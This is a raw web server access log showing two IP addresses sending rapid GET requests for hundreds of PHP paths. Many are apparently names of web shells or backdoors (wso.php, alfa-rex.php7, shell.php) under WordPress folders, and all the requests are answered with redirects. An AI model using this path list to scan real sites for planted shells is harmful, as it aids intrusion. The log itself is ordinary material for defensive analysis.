52.164.225.134 - - [23/Apr/2025:01:08:49 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:50 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:50 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:51 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:52 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:52 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:54 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:54 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:55 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:56 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:56 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:57 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:58 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:58 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:59 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:00 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:01 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:01 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:02 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:03 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:06 -0400] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:08 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:10 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:14 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:16 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:17 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:18 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:21 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:22 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:25 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:28 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:29 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:30 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:31 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:32 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:33 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:34 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:35 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:36 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:36 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:37 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:38 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:40 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:41 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:41 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:42 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:43 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:45 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:45 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:46 -0400] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:47 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:48 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:49 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:50 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:51 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:51 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:52 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:53 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:53 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:54 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:09:54 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 66.249.79.99 - - [23/Apr/2025:01:23:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [23/Apr/2025:01:23:12 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 52.169.85.7 - - [23/Apr/2025:01:55:21 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:27 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:29 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:32 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:34 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:36 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:37 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:39 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:40 -0400] "GET /wp-content/themes/twentyeleven/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:42 -0400] "GET /wp-content/themes/oceanwp/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:44 -0400] "GET /wp-content/themes/twentythirteen/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:45 -0400] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:46 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:48 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:48 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:50 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:51 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:52 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:53 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:54 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:55 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:56 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:57 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:58 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:55:59 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:00 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:03 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:05 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:07 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:10 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:12 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:17 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:20 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:22 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:25 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:28 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:30 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:32 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:34 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:35 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:37 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:37 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:39 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:40 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:40 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:41 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:42 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:43 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:44 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:45 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:46 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:47 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:48 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:49 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:49 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:50 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:51 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:52 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:53 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:54 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:55 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:56 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:57 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:56:58 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:00 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:00 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:02 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:04 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:06 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:08 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:11 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:13 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:15 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:17 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:18 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:20 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:21 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:23 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:25 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:27 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:29 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:30 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:32 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:33 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:34 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:35 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:36 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:38 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:39 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:41 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:43 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:44 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:48 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:50 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:53 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:55 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:57 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:58 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:57:58 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:00 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:03 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:06 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:10 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:12 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:13 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:15 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:16 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:17 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:19 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:21 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:24 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:25 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:29 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:30 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:33 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:34 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:35 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:36 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:37 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:38 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:38 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:39 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:40 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:42 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:43 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:44 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:46 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:48 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:50 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:51 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:52 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:53 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:55 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:57 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:58 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:59 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:58:59 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:00 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:02 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:03 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:04 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:04 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:05 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:07 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:08 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:08 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:09 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:09 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:10 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:11 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:12 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:13 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:14 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:15 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:17 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:17 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:19 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:20 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:21 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:22 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:23 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:24 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 